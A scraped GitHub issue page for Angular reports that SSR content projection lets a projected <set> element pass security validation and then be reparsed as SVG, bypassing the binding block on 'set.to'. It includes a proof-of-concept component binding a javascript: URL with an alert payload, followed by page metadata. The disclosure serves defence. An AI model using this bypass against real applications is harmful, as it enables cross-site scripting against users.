Title: Angular SSR content projection can change the effective namespace after security validation · Issue #70490 · angular/angular · GitHub
Open Graph Title: Angular SSR content projection can change the effective namespace after security validation · Issue #70490 · angular/angular
X Title: Angular SSR content projection can change the effective namespace after security validation · Issue #70490 · angular/angular
Description: Deliver web apps with confidence 🚀. Contribute to angular/angular development by creating an account on GitHub.
Open Graph Description: Deliver web apps with confidence 🚀. Contribute to angular/angular development by creating an account on GitHub.
X Description: Deliver web apps with confidence 🚀. Contribute to angular/angular development by creating an account on GitHub.
Opengraph URL: https://github.com/angular/angular
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular SSR content projection can change the effective namespace after security validation","articleBody":"### Which @angular/* package(s) are the source of the bug?\n\ncompiler\n\n### Is this a regression?\n\nNo\n\n### Description\n\nAngular SSR can validate projected content in the default namespace and later serialize it inside an SVG subtree, where the browser reparses it as SVG.\n\nThis can bypass the SVG animation binding protection for attributes such as `set.to`.\n\nA minimal example only requires a component that exposes a normal content-projection slot inside an SVG:\n\n```ts\nimport { Component, Directive } from '@angular/core';\n\n@Directive({\n selector: '[graphAction]',\n})\nclass GraphActionDirective {}\n\n@Component({\n selector: 'app-graph',\n template: `\n \u003csvg width=\"300\" height=\"80\">\n \u003cg>\n \u003ca>\n \u003cng-content />\n \u003ctext x=\"10\" y=\"40\" style=\"cursor: pointer; fill: blue; text-decoration: underline\">\n Click action\n \u003c/text>\n \u003c/a>\n \u003c/g>\n \u003c/svg>\n `,\n})\nclass Graph {}\n\n@Component({\n selector: 'app-root',\n imports: [Graph , GraphActionDirective],\n template: `\n \u003capp-graph>\n \u003cset\n graphAction\n attributeName=\"href\"\n [attr.to]=\"target\"\n begin=\"0s\"\n fill=\"freeze\">\n \u003c/set>\n \u003c/app-graph>\n `,\n})\nexport class App {\n target = \"javascript:alert('XSS')\";\n}\n```\n\nAngular creates the projected `set` from the caller template in the default namespace.\n\nDuring SSR it is then serialized at its physical projection position:\n\n```html\n\u003csvg>\n \u003cg>\n \u003ca>\n \u003cset attributeName=\"href\" to=\"javascript:alert('XSS')\">\u003c/set>\n \u003c/a>\n \u003c/g>\n\u003c/svg>\n```\n\nWhen Chromium parses the SSR response, that `set` becomes an SVG element.\n\nClicking `Click action` then executes the JavaScript URL.\n\nAngular already explicitly rejects bindings to security-sensitive SVG animation attributes such as `set.to` through `SecurityContext.ATTRIBUTE_NO_BINDING`.\n\nThe issue is that the security check happens using the original logical namespace, while the browser interprets the serialized result using the final physical namespace\n\nThe namespace used for Angular's security decision therefore differs from the namespace of the final browser element.\n\n\nThis was reported on https://issuetracker.google.com/issues/554217431\n\n ","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-08-31T18:25:50Z","url":"https://github.com/angular/angular/issues/70490"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /:user_id/:repository/issues/:id(.:format) |
| route-controller | issues |
| route-action | show |
| fetch-nonce | v2:b341816a-1df8-2b55-57ba-10162295f507 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | 995A:2564F:1291E86:1883C97:6B011874 |
| html-safe-nonce | 963fbea5031262e39d15e8b171000ac6a5eeb4d01cd125700a583d06c439925b |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5OTVBOjI1NjRGOjEyOTFFODY6MTg4M0M5Nzo2QjAxMTg3NCIsInZpc2l0b3JfaWQiOiI0NDM3NDU2Mzk0MDcyOTU0OTk3IiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0= |
| visitor-hmac | 1b8aff7afc7698e4ed2a06d9802eb8b6a67a944b79a373f32b7f4e3a1316a6cc |
| hovercard-subject-tag | repository:24195339 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/angular/angular/issues/70490 |
| twitter:image | https://repository-images.githubusercontent.com/24195339/d4194dc2-d880-43f7-960c-ea30e05c6531 |
| twitter:card | summary_large_image |
| og:image | https://repository-images.githubusercontent.com/24195339/d4194dc2-d880-43f7-960c-ea30e05c6531 |
| og:image:alt | Deliver web apps with confidence 🚀. Contribute to angular/angular development by creating an account on GitHub. |
| og:site_name | GitHub |
| og:type | object |
| hostname | github.com |
| expected-hostname | github.com |
| None | cc5dfdd32f62ebd3223cab3af3aa2b268d3605218237326a48a99d1efd89495c |
| turbo-cache-control | no-cache |
| go-import | github.com/angular/angular git https://github.com/angular/angular.git |
| octolytics-dimension-user_id | 139426 |
| octolytics-dimension-user_login | angular |
| octolytics-dimension-repository_id | 24195339 |
| octolytics-dimension-repository_nwo | angular/angular |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 24195339 |
| octolytics-dimension-repository_network_root_nwo | angular/angular |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 8c77c9e8439031ad54c75a250694842892f693e1 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width